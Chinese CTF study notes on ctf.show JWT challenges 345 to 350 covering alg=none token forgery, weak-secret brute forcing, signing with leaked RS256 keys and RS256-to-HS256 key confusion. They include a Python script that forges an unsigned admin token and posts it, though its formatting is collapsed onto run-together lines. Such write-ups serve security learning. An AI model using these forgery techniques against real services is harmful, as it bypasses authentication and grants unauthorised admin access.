ctf_show笔记篇(web入门---jwt)

目录

jwt简介

web345:

web346:

web347:

web348:

web349:

web350:


jwt简介

JSON Web Token(JWT)通常由三部分组成

  1. Header(头部):包含了两部分信息:令牌的类型(即JWT)以及所使用的签名算法(例如HMAC SHA256或RSA)。
  2. Payload(载荷):也称为Claims。包含了要传输的信息,以及其他元数据。Claims分为三种类型:注册的(registered)、公共的(public)和私有的(private)。注册的Claims包括标准化的Claims(例如:iss(签发者)、exp(到期时间)、sub(主题)等),公共的Claims可以自定义,但建议使用预定义的键,私有的Claims则是用户自定义的键值对。
  3. Signature(签名):使用Base64编码的Header和Payload以及一个秘钥(secret)进行加密生成的签名,用于验证消息的完整性以及确认发送者的身份。

简单地说jwt就是一串字符串,类似于序列化这种,把用户的信息保存在字符串里

JWT全称是JSON Web Token,如果从字面上理解感觉是基于JSON格式用于网络传输的令牌。实际上,JWT是一种紧凑的Claims声明格式,旨在用于空间受限的环境进行传输,常见的场景如HTTP授权请求头参数和URI查询参数。JWT会把Claims转换成JSON格式,而这个JSON内容将会应用为JWS结构的有效载荷或者应用为JWE结构的(加密处理后的)原始字符串,通过消息认证码(Message Authentication Code或者简称MAC)和/或者加密操作对Claims进行数字签名或者完整性保护。


总的来说,JWT其实有两种实现,基于JWE实现的依赖于加解密算法、BASE64URL编码和身份认证等手段提高传输的Claims的被破解难度,而基于JWS的实现使用了BASE64URL编码和数字签名的方式对传输的Claims提供了完整性保护,也就是仅仅保证传输的Claims内容不被篡改,但是会暴露明文。目前主流的JWT框架中大部分都没有实现JWE

web345:

这一题没有理解到是什么意思,抓包得到cookie

这个数据并没有签名,只有头部和载荷

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1712019048,"exp":1712026248,"nbf":1712019048,"sub":"user","jti":"1d066a8d6628e359da77edcd6fb2a7ce"}]

alg表示加密方式,这里并没有,正常情况下是hash256的话应该是这样的

查看源代码能看到有admin页面,但是访问以后重定向回了index页面

把刚才那些数据拿到jwt加密解密网站去

将加密数据改为hs256,即可

访问admin获得flag,猜测这里应该就是因为没有签名所以最开始访问不了

web346:

JWT支持把算法设置为无(none),即alg=none的时候签名就会为空,这时候任何token都是有效的,此设定的功能原本是为了方便开发人员调试,如果开发者不严谨,上线服务以后并没有关闭此功能的话,就会造成使用任何伪造的token登录网站。

这里其实可以不用脚本去做,只是最近在博主在练习写脚本的能力

import jwt
import requestsclass Payload(object):def __init__(self, url):self.url = urlself.__jwt_dict = {"iss": "admin","iat": 1712025870,"exp": 1712033070,"nbf": 1712025870,"sub": "admin","jti": "197a8236998a443b7251012ac9e1497e"}self.__jwt_header = {"alg": "none","typ": "JWT"}def encode(self):jwt_token = jwt.encode(self.__jwt_dict,  # 有效载体'',  # 加密密匙algorithm="none",  # 指明签名算法方式, 默认也是HS256headers=self.__jwt_header)cookies = {'auth': jwt_token}return cookiesdef requests(self, jwt_token):re = requests.post(url=self.url, cookies=jwt_token)print(re.text)def main():url = input('请输入url:')a = Payload(url)b = a.encode()a.requests(b)if __name__ == '__main__':main()

web347:

这个环境说是弱口令,尝试admin,123456,这些啊最终确定为123456

修改对称密匙和sub即可

web348:

这一题还是相同的,通过字典爆破私钥

这里我是用的是jwt_gui是一款图形化的简单爆破工具

Releases · Aiyflowers/JWT_GUI (github.com)

web349:

从备份文件来看存在两个文件并且是rs256加密,从这里来看,这两个应该就是公钥和私钥了。

在网上找什么jwt解密呀就有,将公钥和私钥填进去改,user改为admin

然后post传参将修改好的数据post传参上去

这里得随便写点数据不然发不出去

抓包修改即可

web350:

这一题同样有公钥泄露

简单介绍一下

  • 非对称加密使用一对密钥:公钥和私钥。公钥用于加密数据,私钥用于解密数据;私钥用于签名数据,公钥用于验证签名。常见的非对称加密算法包括RSA、DSA(数字签名算法)和ECC(椭圆曲线密码学)等。

这一题利用到了当可以拿到公钥的时候利用修改alg为HS256将数据修改为对称加密,并且因为我们拿到了公钥,通过这些编码以后上传给服务器,服务器也会判断为对称加密,这时就会都用公钥就能成功实现

还是post传入就能实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/587469.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【性能调优】Java服务端性能优化与实战

一、背景 降本增效:随着公司业务的发展和用户规模的增加,当前服务的QPS已经远远不能满足业务需求,需要申请更多CPU资源,来提升QPS,满足业务发展,但是公司硬件资源有限,额外申请多余资源&#x…

【考研数学】武忠祥全程学习包(附资源分享)

跟武忠祥,讲义方面选择基础篇和辅导讲义即可。分别在基础阶段和强化阶段使用。 此外复习全书不用买(无论是基础篇还是提高篇都不用)你以后可能会看到它的各种推广,不要轻信,有讲义的情况下全书很难利用得上。 武忠祥…

电机控制器电路板布局布线参考指导(二)

电机控制器电路板布局布线参考指导(二)热特性 1.概述2.PCB传导与对流3.连续顶层散热焊盘4.覆铜厚度5.散热过孔连接6.散热过孔宽度7.电机控制器电路板热设计总结 1.概述 电机驱动器并不是理想的器件,在实际应用中,它们的一些功率会…

在ScadaFramework里配置采集Modbus设备

ScadaFramework是一个实现SCADA功能的软件工具,经过简单配置之后,即可采集设备数据,并进行存储、监控、组态可视化,并可将数据上传至平台。 本文将介绍如何在ScadaFramework中配置,以采集Modbus协议的设备。 一、添加链…

MySQL之索引详细总结

索引简介 索引是帮助MySQL高效获取数据的数据结构(有序)。在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据,这样就可以在这些数据结构上实现高级查法,这种数据结构就是索引 为什…

1999-2022年上市公司员工人数数据

1999-2022年上市公司员工人数数据 1、时间:1999-2022年 2、指标:证券代码、时间、员工人数 3、来源:整理自csmar 4、范围:上市公司 5、指标解释: 上市公司员工人数是衡量公司规模和发展状的重要指标。该数据直接…

完成单位信息宣传向媒体投稿发文章任务你别一条路走到黑

有人曾言,爷叔的智慧犹如明灯,他曾这样说过:“能说服一个人的,从来不是那些长篇大论的道理,而是那堵让人碰得头破血流的南墙;能点醒一个人的,也从来不是那些空洞的说教,而是那些生活中的磨难与挫折。”这话,深深触动了我,让我想起了那一次次面对单位信息宣传投稿任务的挑战。 每…

电商技术揭秘四:电商平台的物流管理系统

文章目录 引言一、物流管理系统的功能与架构1.1 物流管理系统在电商平台中的作用概述保障订单的及时配送优化库存管理控制运营成本提升客户服务水平支持数据驱动的决策应对市场变化 1.2 订单处理功能分析自动化处理流程订单分配与履行错误检测与处理机制实时订单状态更新订单数…

【二叉树】Leetcode 105. 从前序与中序遍历序列构造二叉树【中等】

从前序与中序遍历序列构造二叉树 给定两个整数数组 preorder 和 inorder ,其中 preorder 是二叉树的先序遍历, inorder 是同一棵树的中序遍历,请构造二叉树并返回其根节点。 示例1: 输入: preorder [3,9,20,15,7], inorder …

篮球竞赛预约平台的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)篮球馆,篮球赛,竞赛项目,赛事预约

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

创建spring boot+Mybatis项目全流程

创建spring bootMybatis项目全流程 第一步:打开IDEA 【New -> Project】 第二步:选择Spring Initializr 第三步:输入Name以及相关配置,可以参考截图 注意:Server URL 出可以替换为阿里云镜像【https://start.ali…

NoSQL(非关系型数据库)之Redis的简介与安装

一、简介 1.1 关系型数据库与非关系型数据库 1.1.1 概念 1.1.2 区别 1.2 非关系型数据库产生背景 1.3 redis 简介 1.4 redis 优点 1.5 redis 快的原因 二、安装 2.1 关闭核心防护 2.2 安装相关依赖 2.3 解压软件包并进行编译安装 2.4 设置 Redis 服务所需相关配置文…